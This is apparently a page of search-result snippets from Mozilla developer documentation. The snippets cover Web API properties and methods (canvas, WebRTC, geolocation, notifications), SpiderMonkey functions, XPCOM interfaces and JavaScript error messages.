mlns="http://www.w3.org/2000/svg"> <style> .small { font: italic 13px sans-serif; } .heavy { font: bold 30px sans-serif; } /* note that the color of the text is set with the * * fill property, the color property is for html only */ .rrrrr { font: italic 40px serif; fill: red; } </style> <text x="20" y="35" class="small">my</text> <text x="40" y="35" class="heavy">cat</text> <text x="55" y="55" class="small">is</text> <text x="65" y="55" class="rrrrr">grumpy!</text> </svg> attributes x the x coordinate of the starting point of the text baseline.
... value type: <length>|<percentage> ; default value: none; animatable: yes dy shifts the text position vertically from a previous text element.
...can rotate glyphs individually.
...And 4 more matches
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
you can find some basic examples of svg syntax and usage in the w3c svg test suite.
... currentscale and currenttranslate dom attributes are implemented, but there is no pan and zoom user interface.
... doesn't completely follow <svg:use> cascading rules (bug 265894).
...And 4 more matches
Communication between HTML and your extension - Archive of obsolete content
communication between an html page and and extension after building a sample extension by reading carefully and following the complete instructions for building an extension i was able to get an extension that could display something on the status bar.
...i wasn't sure about the difference between the capture or bubbling flag that you pass to addeventlistener but every time i would catch the event in the extension, the element from the ajax request wasn't fully updated into the html page.
...i started to research custom events on google but everything that i found was far too complicated for what i wanted to achieve.
...And 3 more matches
NPPrintCallbackStruct - Archive of obsolete content
syntax typedef struct { int32 type; file* fp; } npprintcallbackstruct; fields the data structure has the following fields: type always contains np_print.
... description callback structures are used to pass platform-specific information.
... the npprintcallbackstruct structure contains the file pointer to which the plug-in should write its postscript data.
...And 3 more matches
Using Firebug and jQuery (Screencast) - Archive of obsolete content
note: this screencast is originally from: http://ejohn.org/blog/hacking-digg-w...ug-and-jquery/ this is an adaptation of a presentation that i gave while at mashup camp boston.
... we're going to take an introductory look at the firebug firefox extension and the jquery javascript library - combining the two to build a reusable bookmarklet that can manipulate digg posts and comments.
... click the video link to begin (14:39 minutes long, 59mb): http://developer.mozilla.org/presentations/screencasts/jresig-digg-firebug-jquery.mp4 download: right-click this link and select save as...
...And 3 more matches
Debug.msTraceAsyncCallbackStarting - Archive of obsolete content
the debug.mstraceasynccallbackstarting function associates the callback stack with a previously specified asynchronous operation.
... syntax debug.mstraceasynccallbackstarting(asyncoperationid) parameters asyncoperationid the id associated with the asynchronous operation.
... remarks call this function in the callback function for the asynchronous operation after the call to debug.mstraceasyncoperationcompleted.
...And 3 more matches
openLocationLastURL.jsm
(bug 953124) the openlocationlasturl.jsm javascript code module lets you set and retrieve the url most recently opened using the "open location" option in the file menu.
... to use this, you first need to import the code module into your javascript scope: components.utils.import("resource:///modules/openlocationlasturl.jsm"); once you've imported the module, you can then use the openlocationlasturl object it exports.
... this object lets you fetch and change the url that is placed in the "open location" dialog box when it opens.
...And 3 more matches
Profiling with the Gecko Profiler and Local Symbols on Windows
profiling local builds as of march 2018, profiling local builds on windows should work out of the box, with full symbol information.
...the profiler automatically reads symbols from the pdb files that are generated during the build process.
...unfortunately, 32 bit is still the default when building firefox locally.
...And 3 more matches
nglayout.debug.disable_xul_cache
to improve performance, mozilla caches chrome xul documents the first time they load for faster loading later.
...the xul cache is serialized and saved between mozilla sessions in the xul fastload file, which saves a “compiled” version of the xul and javascript in a document to disk for faster startup the next time the application runs.
... during development of xul applications, it’s convenient to disable the xul cache so that changes you make to files on disk take effect the next time the window or dialog is loaded (instead of the next time mozilla starts).
...And 3 more matches
PR_Calloc
allocates zeroed memory from the heap for a number of objects of a given size.
... syntax #include <prmem.h> void *pr_calloc ( pruint32 nelem, pruint32 elsize); parameters nelem the number of elements of size elsize to be allocated.
... returns an untyped pointer to the allocated memory, or if the allocation attempt fails, null.
...And 3 more matches
JS_ClearDateCaches
this article covers features introduced in spidermonkey 17 clear the cache of calculated local time from each date object.
... syntax void js_cleardatecaches(jscontext *cx); name type description cx jscontext * pointer to a javascript context from which to derive runtime information.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...And 3 more matches
JS_EnterCrossCompartmentCall
this article covers features introduced in spidermonkey 1.8.1 js_entercrosscompartmentcall has been removed in bug 786068.
... enter a different compartment on the given context, so that objects in that compartment can be accessed.
... syntax jscrosscompartmentcall * js_entercrosscompartmentcall(jscontext *cx, jsobject *target); name type description cx jscontext * the context on which a cross-compartment call is needed.
...And 3 more matches
JS_GetFunctionCallback
returns the callback currently configured to be called when javascript functions are invoked or exited, as established by a prior call to js_setfunctioncallback.
... note: this method is only available if moz_trace_jscalls was defined at compile time using --enable-trace-jscalls.
... syntax jsfunctioncallback js_getfunctioncallback(jscontext *cx); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...And 3 more matches
JS_PutEscapedString
this article covers features introduced in spidermonkey 1.8.5 write a string into buffer with escaping.
... syntax size_t js_putescapedstring(jscontext *cx, char *buffer, size_t size, jsstring *str, char quote); size_t js_putescapedflatstring(char *buffer, size_t size, jsflatstring *str, char quote); name type description cx jscontext * a context.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...And 3 more matches
mozIVisitInfoCallback
toolkit/components/places/public/moziasynchistory.idlscriptable this interface provides callback handling functionality for moziasynchistory.updateplaces() 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) method overview void handleerror(in nsresult aresultcode, in moziplaceinfo aplaceinfo); void handleresult(in moziplaceinfo aplaceinfo); void oncomplete(in nsresult aresultcode, in moziplaceinfo aplaceinfo);obsolete since gecko 8.0 methods handleerror() called when a moziplaceinfo couldn't be processed.
... void handleerror( in nsresult aresultcode, in moziplaceinfo aplaceinfo ); parameters aresultcode nsresult indicating the reason why the change failed.
... handleresult() called for each visit added, title change, or guid change when passed to moziasynchistory.updateplaces().
...And 3 more matches
nsICacheMetaDataVisitor
netwerk/cache/nsicacheentrydescriptor.idlscriptable this interface is used for visiting the meta data elements for a specified cache entry.
... inherits from: nsisupports last changed in gecko 1.7 method overview boolean visitmetadataelement(in string key, in string value); methods visitmetadataelement() this method is called for each key/value pair in the meta data for a cache entry.
... boolean visitmetadataelement( in string key, in string value ); parameters key the key for visiting the meta data for a cache entry.
...And 3 more matches
nsICacheVisitor
netwerk/cache/nsicachevisitor.idlscriptable this interface provides information about cache devices and entries.
... inherits from: nsisupports last changed in gecko 1.7 method overview boolean visitdevice(in string deviceid, in nsicachedeviceinfo deviceinfo); boolean visitentry(in string deviceid, in nsicacheentryinfo entryinfo); methods visitdevice() this method is called to provide information about a cache device.
... boolean visitdevice( in string deviceid, in nsicachedeviceinfo deviceinfo ); parameters deviceid specifies the device being visited.
...And 3 more matches
nsIProtocolProxyCallback
netwerk/base/public/nsiprotocolproxycallback.idlscriptable this interface serves as a closure for nsiprotocolproxyservice.asyncresolve().
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void onproxyavailable(in nsicancelable arequest, in nsiuri auri, in nsiproxyinfo aproxyinfo, in nsresult astatus); methods onproxyavailable() this method is called when proxy info is available or when an error in the proxy resolution occurs.
... void onproxyavailable( in nsicancelable arequest, in nsiuri auri, in nsiproxyinfo aproxyinfo, in nsresult astatus ); parameters arequest the value returned from asyncresolve.
...And 3 more matches
AuthenticatorAssertionResponse.signature - Web APIs
the signature read-only property of the authenticatorassertionresponse interface is an arraybuffer object which is the signature of the authenticator for both authenticatorassertionresponse.authenticatordata and a sha-256 hash of the client data (authenticatorassertionresponse.clientdatajson).
...it provides the proof that an authenticator does possess the private key which was used for the credential's generation.
... note: an authenticatorassertionresponse instance is available on publickeycredential.response after calling navigator.credentials.get().
...And 3 more matches
BasicCardRequest.supportedNetworks - Web APIs
the supportednetworks property of the basiccardrequest dictionary contains an array of domstrings representing the card networks that the retailer supports (e.g.
... amex, mastercard).
...value]] value an array containing one or more domstrings, which describe the card networks the retailer supports.
...And 3 more matches
BroadcastChannel: message event - Web APIs
the message event is fired on a broadcastchannel object when a message arrives on that channel.
... bubbles no cancelable no interface messageevent event handler property onmessage examples live example in this example there's a "sender" <iframe> that broadcasts the contents of a <textarea> when the user clicks a button.
... there are two "receiver" iframes that listen to the broadcast message and write the result into a <div> element.
...And 3 more matches
CanvasGradient - Web APIs
the canvasgradient interface represents an opaque object describing a gradient.
... it is returned by the methods canvasrenderingcontext2d.createlineargradient() or canvasrenderingcontext2d.createradialgradient().
... it can be used as a fillstyle or strokestyle.
...And 3 more matches
CanvasPattern.setTransform() - Web APIs
the canvaspattern.settransform() method uses an svgmatrix or dommatrix object as the pattern's transformation matrix and invokes it on the pattern.
... examples using the settransform method this is just a simple code snippet which uses the settransform method to create a canvaspattern with the specified pattern transformation from an svgmatrix.
... the pattern gets applied if you set it as the current fillstyle and gets drawn onto the canvas when using the fillrect() method, for example.
...And 3 more matches
CanvasRenderingContext2D.arc() - Web APIs
the canvasrenderingcontext2d.arc() method of the canvas 2d api adds a circular arc to the current sub-path.
... y the vertical coordinate of the arc's center.
... html <canvas></canvas> javascript the arc is given an x-coordinate of 100, a y-coordinate of 75, and a radius of 50.
...And 3 more matches
CanvasRenderingContext2D.clip() - Web APIs
the canvasrenderingcontext2d.clip() method of the canvas 2d api turns the current or given path into the current clipping region.
...it doesn't work with shape primitives drawn directly to the canvas, such as fillrect().
... instead, you'd have to use rect() to add a rectangular shape to the path before calling clip().
...And 3 more matches
CanvasRenderingContext2D.createLinearGradient() - Web APIs
the canvasrenderingcontext2d.createlineargradient() method of the canvas 2d api creates a gradient along the line connecting two given coordinates.
... this method returns a linear canvasgradient.
... syntax canvasgradient ctx.createlineargradient(x0, y0, x1, y1); the createlineargradient() method is specified by four parameters defining the start and end points of the gradient line.
...And 3 more matches
CanvasRenderingContext2D.createRadialGradient() - Web APIs
the canvasrenderingcontext2d.createradialgradient() method of the canvas 2d api creates a radial gradient using the size and coordinates of two circles.
... this method returns a canvasgradient.
... syntax canvasgradient ctx.createradialgradient(x0, y0, r0, x1, y1, r1); the createradialgradient() method is specified by six parameters, three defining the gradient's start circle, and three defining the end circle.
...And 3 more matches
CanvasRenderingContext2D.ellipse() - Web APIs
the canvasrenderingcontext2d.ellipse() method of the canvas 2d api adds an elliptical arc to the current sub-path.
... syntax void ctx.ellipse(x, y, radiusx, radiusy, rotation, startangle, endangle [, anticlockwise]); the ellipse() method creates an elliptical arc centered at (x, y) with the radii radiusx and radiusy.
... y the y-axis (vertical) coordinate of the ellipse's center.
...And 3 more matches
CanvasRenderingContext2D.fillRect() - Web APIs
the canvasrenderingcontext2d.fillrect() method of the canvas 2d api draws a rectangle that is filled according to the current fillstyle.
... this method draws directly to the canvas without modifying the current path, so any subsequent fill() or stroke() calls will have no effect on it.
... html <canvas id="canvas"></canvas> javascript the rectangle's top-left corner is at (20, 10).
...And 3 more matches
CanvasRenderingContext2D.imageSmoothingEnabled - Web APIs
the imagesmoothingenabled property of the canvasrenderingcontext2d interface, part of the canvas api, determines whether scaled images are smoothed (true, default) or not (false).
... note: you can adjust the smoothing quality with the imagesmoothingquality property.
... syntax ctx.imagesmoothingenabled = value; options value a boolean indicating whether to smooth scaled images or not.
...And 3 more matches
CanvasRenderingContext2D.textAlign - Web APIs
the canvasrenderingcontext2d.textalign property of the canvas 2d api specifies the current text alignment used when drawing text.
... "start" the text is aligned at the normal start of the line (left-aligned for left-to-right locales, right-aligned for right-to-left locales).
... "end" the text is aligned at the normal end of the line (right-aligned for left-to-right locales, left-aligned for right-to-left locales).
...And 3 more matches
CanvasRenderingContext2D.translate() - Web APIs
the canvasrenderingcontext2d.translate() method of the canvas 2d api adds a translation transformation to the current matrix.
... syntax void ctx.translate(x, y); the translate() method adds a translation transformation to the current matrix by moving the canvas and its origin x units horizontally and y units vertically on the grid.
... y distance to move in the vertical direction.
...And 3 more matches
Document.location - Web APIs
WebAPIDocumentlocation
the document.location read-only property returns a location object, which contains information about the url of the document and provides methods for changing that url and loading another url.
... though document.location is a read-only location object, you can also assign a domstring to it.
... this means that you can work with document.location as if it were a string in most cases: document.location = 'http://www.example.com' is a synonym of document.location.href = 'http://www.example.com'.
...And 3 more matches
Document: pointercancel event - Web APIs
the pointercancel event is fired when the browser determines that there are unlikely to be any more pointer events, or if after the pointerdown event is fired, the pointer is then used to manipulate the viewport by panning, zooming, or scrolling.
... bubbles yes cancelable no interface pointerevent event handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities.
... this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device.
...And 3 more matches
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
the caretpositionfrompoint() property of the documentorshadowroot interface returns a caretposition object, containing the dom node, along with the caret and caret's character offset within that node.
... syntax var caretposition = document.caretpositionfrompoint(float x, float y); parameters x the horizontal coordinate of a point.
... y the vertical coordinate of a point.
...And 3 more matches
Element.hasPointerCapture() - Web APIs
the haspointercapture() method of the element interface sets whether the element on which it is invoked has pointer capture for the pointer identified by the given pointer id.
... syntax targetelement.haspointercapture(pointerid); parameters pointerid the pointerid of a pointerevent object.
... return value a boolean value — true if the element does have pointer capture, false if it doesn't.
...And 3 more matches
Element.setCapture() - Web APIs
call this method during the handling of a mousedown event to retarget all mouse events to this element until the mouse button is released or document.releasecapture() is called.
... warning: this interface never had much cross-browser support and you probably looking for element.setpointercapture instead, from the pointer events api.
... syntax element.setcapture(retargettoelement); retargettoelement if true, all events are targeted directly to this element; if false, events can also fire at descendants of this element.
...And 3 more matches
Geolocation.getCurrentPosition() - Web APIs
the geolocation.getcurrentposition() method is used to get the current position of the device.
... syntax navigator.geolocation.getcurrentposition(success[, error[, [options]]) parameters success a callback function that takes a geolocationposition object as its sole input parameter.
... error optional an optional callback function that takes a geolocationpositionerror object as its sole input parameter.
...And 3 more matches
GeolocationCoordinates.heading - Web APIs
the geolocationcoordinates.heading read-only property is a double representing the direction in which the device is traveling.
... this value, specified in degrees, indicates how far off from heading due north the device is.
...if geolocationcoordinates.speed is 0, heading is nan.
...And 3 more matches
GeolocationPositionError.code - Web APIs
the geolocationpositionerror.code read-only property is an unsigned short representing the error code.
... syntax let typeerr = geolocationpositionerrorinstance.code value an unsigned short representing the error code.
... the following values are possible: value associated constant description 1 permission_denied the acquisition of the geolocation information failed because the page didn't have the permission to do it.
...And 3 more matches
HTMLCanvasElement.mozFetchAsStream() - Web APIs
the htmlcanvaselement.mozfetchasstream() internal method used to create a new input stream that, when ready, would provide the contents of the canvas as image data.
... syntax void canvas.mozfetchasstream(callback, type); parameters callback an nsiinputstreamcallback.
... type optional a domstring indicating the image format.
...And 3 more matches
HTMLElement: pointercancel event - Web APIs
the pointercancel event is fired when the browser determines that there are unlikely to be any more pointer events, or if after the pointerdown event is fired, the pointer is then used to manipulate the viewport by panning, zooming, or scrolling.
... bubbles yes cancelable no interface pointerevent event handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities.
... this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device.
...And 3 more matches
HTMLTableElement.caption - Web APIs
the htmltableelement.caption property represents the table caption.
... if no caption element is associated with the table, this property is null.
... syntax var string = tableelement.caption; example if (table.caption) { // do something with the caption } specifications specification status comment html living standardthe definition of 'htmltableelement.caption' in that specification.
...And 3 more matches
HTMLTableElement.createCaption() - Web APIs
the htmltableelement.createcaption() method returns the <caption> element associated with a given <table>.
... if no <caption> element exists on the table, this method creates it, and then returns it.
... note: if no caption exists, createcaption() inserts a new caption directly into the table.
...And 3 more matches
ImageCapture() constructor - Web APIs
the imagecapture() constructor creates a new imagecapture object.
... syntax const imagecapture = new imagecapture(videotrack) parameters videotrack a mediastreamtrack from which the still images will be taken.
... this can be any source, such as an incoming stream of a video conference, a playing movie, or the stream from a webcam.
...And 3 more matches
ImageCapture.grabFrame() - Web APIs
the grabframe() method of the imagecapture interface takes a snapshot of the live video in a mediastreamtrack and returns a promise that resolves with a imagebitmap containing the snapshot.
... syntax const bitmappromise = imagecapture.grabframe() return value a promise that resolves to an imagebitmap object.
... example this example is extracted from this simple image capture demo.
...And 3 more matches
LockedFile.location - Web APIs
summary the location property is a zero-based index representing the position of the read/write pointer within the file.
... its value indicates at which bytes within the file any write or read operation will start.
... this value is changed automatically after every read and write operation.
...And 3 more matches
MediaStreamTrack.getCapabilities() - Web APIs
the getcapabilities() method of the mediastreamtrack interface returns a mediatrackcapabilities object which specifies the values or range of values which each constrainable property, based upon the platform and user agent.
... once you know what the browser's capabilities are, your script can use applyconstraints() to ask for the track to be configured to match ideal or acceptable settings.
... see capabilities, constraints, and settings for details on how to work with constrainable properties.
...And 3 more matches
NDEFReader.scan() - Web APIs
WebAPINDEFReaderscan
the scan() method of ndefreader interface reads ndef records from compatible nfc devices, e.g., ndef nfc tags.
... syntax var readerpromise = ndefreader.scan(options); parameters options optional id -- the match pattern for matching each ndefrecord.id.
... signal -- optional abortsignal that allows to cancell this scan() operation.
...And 3 more matches
Notification.onclick - Web APIs
the onclick property of the notification interface specifies an event listener to receive click events.
... these events occur when the user clicks on a displayed notification.
... syntax notification.onclick = function(event) { ...
...And 3 more matches
Notification.silent - Web APIs
the silent read-only property of the notification interface specifies whether the notification should be silent, i.e., no sounds or vibrations should be issued, regardless of the device settings.
... this is specified in the silent option of the notification() constructor.
... syntax var silent = notification.silent; value a boolean.
...And 3 more matches
Notification.tag - Web APIs
WebAPINotificationtag
the tag read-only property of the notification interface signifies an identifying tag for the notification, as specified in the tag option of the notification() constructor.
... the idea of notification tags is that more than one notification can share the same tag, linking them together.
... one notification can then be programmatically replaced with another to avoid the users' screen being filled up with a huge number of similar notifications.
...And 3 more matches
OffscreenCanvas.convertToBlob() - Web APIs
the offscreencanvas.converttoblob() method creates a blob object representing the image contained in the canvas.
... syntax promise<blob> offscreencanvas.converttoblob(options); parameters optionsoptional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a domstring indicating the image format.
... quality: a number between 0 and 1 indicating image quality if the type option is image/jpeg or image/webp.
...And 3 more matches
OffscreenCanvas.convertToBlob() - Web APIs
the offscreencanvas.converttoblob()method creates a blob object representing the image contained in the canvas.
... syntax promise<blob> offscreencanvas.converttoblob(options); parameters optionsoptional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a domstring indicating the image format.
... quality: a number between 0 and 1 indicating image quality if the type option is image/jpeg or image/webp.
...And 3 more matches
OffscreenCanvas.convertToBlob() - Web APIs
the offscreencanvas.converttoblob() method creates a blob object representing the image contained in the canvas.
... syntax promise<blob> offscreencanvas.converttoblob(options); parameters options optional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a domstring indicating the image format.
... quality: a number between 0 and 1 indicating image quality if the type option is image/jpeg or image/webp.
...And 3 more matches
PublicKeyCredentialRequestOptions.userVerification - Web APIs
userverification is an optional property of the publickeycredentialrequestoptions.
... this is a string which indicates how the user verification should be part of the authentication process.
... note: an analogous option exists for the creation operation (navigators.credentials.create()), see the userverification property of publickeycredentialcreationoptions.authenticatorselection.
...And 3 more matches
RTCIceCandidate. toJSON() - Web APIs
the rtcicecandidate method tojson() converts the rtcicecandidate on which it's called into json in the form of an rtcicecandidateinit object.
... syntax json = rtcicecandidate.tojson(); return value an object conforming to the rtcicecandidateinit dictionary, whose members' values are set to the corresponding values in the rtcicecandidate object.
... you can then get a stringified version of the object by calling stringify() on the returned object.
...And 3 more matches
RTCIceCandidatePairStats.consentExpiredTimestamp - Web APIs
the rtcicecandidatepairstats property consentexpiredtimestamp indicates the time at which the most recent stun binding response expired.
... this indicates when the current stun bindings — the mapping of the ip address and port configurations for both peers on the webrtc connection — are due to expire.
... syntax consentexpiration = rtcicecandidatepairstats.consentexpiredtimestamp; value a domhighrestimestamp object that indicates the time at which the stun binding that allows the two peers described by this rtcicecandidatepair to communicate will expire (or the time at which the binding did expire, if the time has passed).
...And 3 more matches
RTCIceCandidatePairStats.nominated - Web APIs
the rtcicecandidatepairstats property nominated specifies whether or not the candidate pair described by the underlying rtcicecandidatepair has been nominated to be used as the configuration for the webrtc connection.
... syntax nominated = rtcicecandidatepairstats.nominated; value a boolean value which is set to true by the ice layer if the controlling user agent has indicated that the candidate pair should be used to configure the webrtc connection between the two peers.
... note: if more than one candidate pair are nominated at the same time, the one whose priority is higher will be selected for use.
...And 3 more matches
RTCIceCandidatePairStats.retransmissionsReceived - Web APIs
the rtcicecandidatepairstats dictionary's retransmissionsreceived property indicates the total number of stun connectivity check request retransmissions that have been received so far on the pair of candidates.
... the number of retransmissions that have been sent on the connection can be found in retransmissionssent.
... syntax retransmissionsreceived = rtcicecandidatepairstats.retransmissionsreceived; value an integer value indicating the total number of retransmitted stun connectivity check requests have been received on the connection referenced by this candidate pair so far.
...And 3 more matches
RTCIceCandidatePairStats.retransmissionsSent - Web APIs
the rtcicecandidatepairstats dictionary's retransmissionssent property indicates the total number of stun connectivity check request retransmissions that have been sent so far on the pair of candidates.
... the number of retransmissions that have been received on the connection can be found in retransmissionsreceived.
... syntax retransmissionssent = rtcicecandidatepairstats.retransmissionssent; value an integer value indicating the total number of retransmitted stun connectivity check requests have been sent on the connection referenced by this candidate pair so far.
...And 3 more matches
RTCIceTransport.getLocalParameters() - Web APIs
the rtcicetransport method getlocalparameters() returns an rtciceparameters object which provides information uniquely identifying the local peer for the duration of the ice session.
... the local peer's parameters are obtained during ice signaling and delivered to the transport when the client calls rtcpeerconnection.setlocaldescription().
... syntax parameters = rtcicetransport.getlocalparameters(); parameters none.
...And 3 more matches
RTCInboundRtpStreamStats.fecPacketsDiscarded - Web APIs
the fecpacketsdiscarded property of the rtcinboundrtpstreamstats dictionary is a numeric value indicating the number of rtp forward error correction (fec) packets that have been discarded.
... syntax var fecpacketsdiscarded = rtcinboundrtpstreamstats.fecpacketsdiscarded; value an unsigned integer value indicating how many fec packets have been received whose error correction payload has been discarded.
... this can happen if all the packets covered by the fec packet have already been received or recovered using another fec packet, or if the fec packet arrived outside the recovery window and the lost rtp packets have already been skipped during playback as a result.
...And 3 more matches
RTCPeerConnection.generateCertificate() - Web APIs
the generatecertificate() method of the rtcpeerconnection interface creates and stores an x.509 certificate and corresponding private key then returns an rtccertificate, providing access to it.
... syntax var cert = rtcpeerconnection.generatecertificate(keygenalgorithm) parameters keygenalgorithm a domstring identifying the algorithm to use in creating the key.
... rtcpeerconnection.generatecertificate() is a static method, so it is always called on the rtcpeerconnection interface itself, not an instance thereof.
...And 3 more matches
RTCPeerConnection.onicecandidateerror - Web APIs
the rtcpeerconnection.onicecandidateerror property is an eventhandler which specifies a function which is called to handle the icecandidateerror event when it occurs on an rtcpeerconnection instance.
... this event is fired when an error occurs during the ice candidate gathering process.
... syntax rtcpeerconnection.onicecandidateerror = eventhandler; value this should be set to a function you provide which is passed a single parameter: an rtcpeerconnectioniceerrorevent object describing the icecandidateerror event.
...And 3 more matches
RTCSessionDescriptionCallback - Web APIs
the rtcsessiondescriptioncallback type is used to represent the callback function passed into the deprecated callback-based version of createoffer() or createanswer() when using them to create offers or answers.
... because this function type is part of the legacy webrtc api, you should avoid using it (and the callback-based forms of createoffer() and createanswer() that make use of it).
... syntax rtcsessiondescriptioncallback(description); parameters description an rtcsessiondescriptioninit (or rtcsessiondescription) object describing the session being offered or being accepted.
...And 3 more matches
ServiceWorkerGlobalScope.onnotificationclick - Web APIs
the serviceworkerglobalscope.onnotificationclick property is an event handler called whenever the notificationclick event is dispatched on the serviceworkerglobalscope object, that is when a user clicks on a displayed notification spawned by serviceworkerregistration.shownotification().
... notifications created on the main thread or in workers which aren't service workers using the notification() constructor will instead receive a click event on the notification object itself.
... note: trying to create a notification inside the serviceworkerglobalscope using the notification() constructor will throw an error.
...And 3 more matches
sourceCapabilities - Web APIs
the uievent.sourcecapabilities read-only property returns an instance of the inputdevicecapabilities interface which provides information about the physical device responsible for generating a touch event.
... when a single user interaction with an input device generates a series of different input events, the sourcecapabilities property for all of them will point to the same instance of inputdevicecapabilities.
...all of these events must have the same sourcecapabilities representing the touchscreen.
...And 3 more matches
WebGLRenderingContext.getAttribLocation() - Web APIs
the webglrenderingcontext.getattriblocation() method of the webgl api returns the location of an attribute variable in a given webglprogram.
... syntax glint gl.getattriblocation(program, name); parameters program a webglprogram containing the attribute variable.
... name a domstring specifying the name of the attribute variable whose location to get.
...And 3 more matches
WorkerGlobalScope.location - Web APIs
the location read-only property of the workerglobalscope interface returns the workerlocation associated with the worker.
... it is a specific location object, mostly a subset of the location for browsing scopes, but adapted to workers.
... syntax var locationobj = self.location; value a workerlocation object.
...And 3 more matches
WorkerLocation - Web APIs
the workerlocation interface defines the absolute location of the script executed by the worker.
... such an object is initialized for each worker and is available via the workerglobalscope.location property obtained by calling self.location.
... properties the workerlocation interface doesn't inherit any property, but implements properties defined in the urlutilsreadonly interface.
...And 3 more matches
XRWebGLLayerInit.framebufferScaleFactor - Web APIs
the xrwebgllayerinit dictionary's framebufferscalefactor property, when specified upon instantiating a new xrwebgllayer using its constructor, xrwebgllayer(), specifies the scaling factor to use when determining the size of the frame buffer to use when rendering the scene, relative to the default xr device display resolution.
... for example, a value of 1.0 indicates that the frame buffer should be the same resolution as the actual display, while a value of 0.5 indicates that the frame buffer should be half the resolution of the display.
... there are valid use cases for all of these kinds of scaling.
...And 3 more matches
msCapsLockWarningOff - Web APIs
the mscapslockwarningoff read/write property turns automatic caps lock warning on or off for validated password input fields.
... starting with internet explorer 10, input type=password fields will automatically display a warning if the caps lock is on.
... syntax document.mscapslockwarningoff = true; value type: boolean false: default.
...And 3 more matches
autocapitalize - HTML: Hypertext Markup Language
the autocapitalize global attribute is an enumerated attribute that controls whether and how text input is automatically capitalized as it is entered/edited by the user.
... the attribute must take one of the following values: off or none: no autocapitalization is applied (all letters default to lowercase) on or sentences: the first letter of each sentence defaults to a capital letter; all other letters default to lowercase words: the first letter of each word defaults to a capital letter; all other letters default to lowercase characters: all letters should default to uppercase the autocapitalize attribute doesn’t affect behavior when typing on a physical keyboard.
...the behavior of such mechanisms is that they often assist users by automatically capitalizing the first letter of sentences.
...And 3 more matches
Proxy-Authenticate - HTTP
the http proxy-authenticate response header defines the authentication method that should be used to gain access to a resource behind a proxy server.
... it authenticates the request to the proxy server, allowing it to transmit the request further.
... the proxy-authenticate header is sent along with a 407 proxy authentication required.
...And 3 more matches
TypeError: can't assign to property "x" on "y": not an object - JavaScript
the javascript strict mode exception "can't assign to property" occurs when attempting to create a property on primitive value such as a symbol, a string, a number or a boolean.
... primitive values cannot hold any property.
... message typeerror: can't assign to property "x" on {y}: not an object (firefox) typeerror: cannot create property 'x' on {y} (chrome) error type typeerror.
...And 3 more matches
TypeError: property "x" is non-configurable and can't be deleted - JavaScript
the javascript exception "property is non-configurable and can't be deleted" occurs when it was attempted to delete a property, but that property is non-configurable.
... message typeerror: calling delete on 'x' is not allowed in strict mode (edge) typeerror: property "x" is non-configurable and can't be deleted.
... (firefox) typeerror: cannot delete property 'x' of #<object> (chrome) error type typeerror in strict mode only.
...And 3 more matches
SyntaxError: applying the 'delete' operator to an unqualified name is deprecated - JavaScript
the javascript strict mode-only exception "applying the 'delete' operator to an unqualified name is deprecated" occurs when variables are attempted to be deleted using the delete operator.
... message syntaxerror: calling delete on expression not allowed in strict mode (edge) syntaxerror: applying the 'delete' operator to an unqualified name is deprecated (firefox) syntaxerror: delete of an unqualified identifier in strict mode.
... normal variables in javascript can't be deleted using the delete operator.
...And 3 more matches
Warning: expression closures are deprecated - JavaScript
the javascript warning "expression closures are deprecated" occurs when the non-standard expression closure syntax (shorthand function syntax) is used.
... message warning: expression closures are deprecated error type warning.
... the non-standard expression closure syntax (shorthand function syntax) is deprecated and shouldn't be used anymore.
...And 3 more matches
TypeError: can't delete non-configurable array element - JavaScript
the javascript exception "can't delete non-configurable array element" occurs when it was attempted to shorten the length of an array, but one of the array's elements is non-configurable.
... message typeerror: can't delete non-configurable array element (firefox) typeerror: cannot delete property '2' of [object array] (chrome) error type typeerror what went wrong?
... the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than writable) can be changed.
...And 3 more matches
Intl.Locale() constructor - JavaScript
the intl.locale constructor is a standard built-in property of the intl object that represents a unicode locale identifier.
... syntax new intl.locale(tag [, options]) parameters tag the unicode locale identifier string.
... options an object that contains configuration for the locale.
...And 3 more matches
Intl.Locale.prototype.baseName - JavaScript
the intl.locale.prototype.basename property returns a substring of the locale's string representation, containing core information about the locale.
... description an intl.locale object represents a parsed local and options for that locale.
... the basename property returns basic, core information about the locale in the form of a substring of the complete data string.
...And 3 more matches
RegExp.prototype.ignoreCase - JavaScript
the ignorecase property indicates whether or not the "i" flag is used with the regular expression.
... ignorecase is a read-only property of an individual regular expression instance.
... property attributes of regexp.prototype.ignorecase writable no enumerable no configurable yes description the value of ignorecase is a boolean and true if the "i" flag was used; otherwise, false.
...And 3 more matches
String.prototype.toUpperCase() - JavaScript
the touppercase() method returns the calling string value converted to uppercase (the value will be converted to a string if it isn't one).
... syntax str.touppercase() return value a new string representing the calling string converted to upper case.
... exceptions typeerror when called on null or undefined, for example, string.prototype.touppercase.call(undefined).
...And 3 more matches
TypedArray.prototype.toLocaleString() - JavaScript
the tolocalestring() method returns a string representing the elements of the typed array.
... the elements are converted to strings and are separated by a locale-specific string (such as a comma “,”).
... this method has the same algorithm as array.prototype.tolocalestring() and, as the typed array elements are numbers, the same algorithm as number.prototype.tolocalestring() applies for each element.
...And 3 more matches
Logical OR assignment (||=) - JavaScript
the logical or assignment (x ||= y) operator only assigns if x is falsy.
